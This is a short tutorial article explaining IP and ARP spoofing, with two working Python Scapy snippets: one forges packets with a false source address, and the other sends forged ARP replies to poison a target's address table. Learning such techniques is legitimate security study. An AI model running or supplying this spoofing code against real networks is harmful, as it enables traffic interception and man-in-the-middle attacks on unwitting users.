The term IP Spoofing and Address Resolution Protocol (ARP) Spoofing IP spoofing occurs when an attacker pretends to be another device by using a false IP address. Meanwhile, the ARP spoofing manipulates the Address Resolution Protocol to achieve similar results.
IP spoofing is a technique in which an attacker creates IP packets with a forged source IP address. This allows the attacker to hide their real IP address and potentially bypass security measures.
Here is an example of how to use the Scapy library in Python to perform IP spoofing:
1 from scapy.all import IP, UDP, send 2
3 def spoof_packet(target_ip, source_ip, source_port):
4 ip_packet = IP(src=source_ip, dst=target_ip)
5 udp_packet = UDP(sport=source_port, dport=80)
6 packet = ip_packet / udp_packet
7 send(packet)

It’s important to note that using Scapy for IP spoofing may require root privileges.
The Address Resolution Protocol (ARP) is a protocol used by devices on an IP network to discover the corresponding physical address of another device. In other words, it’s a protocol that maps IP addresses to physical addresses.
Here is an example of how to use the Scapy library in Python to perform ARP spoofing:
1 from scapy.all import ARP, Ether, sendp
2
3 def spoof_arp(target_ip, spoofed_ip, target_mac, interface):
4 # Create an ARP packet with the spoofed IP address
5 arp_packet = ARP(op=2, psrc=spoofed_ip, pdst=target_ip, hwdst=target_mac)
6
7 # Create an Ethernet frame with the target MAC address
8 ether_frame = Ether(dst=target_mac)
9
10 # Send the ARP packet within the Ethernet frame
11 sendp(ether_frame / arp_packet, iface=interface, verbose=False)
12
13 spoof_arp('192.168.1.1', '192.168.1.2', '00:11:22:33:44:55', 'eth0')In this example, an ARP packet is created with a spoofed IP address of 192.168.1.2. This packet is then sent to the target IP address 192.168.1.1 using the target’s MAC address and the specified network interface.
Using Scapy for ARP spoofing may require root privileges, depending on the platform. Additionally, performing ARP spoofing on networks you do not own is illegal and unethical.
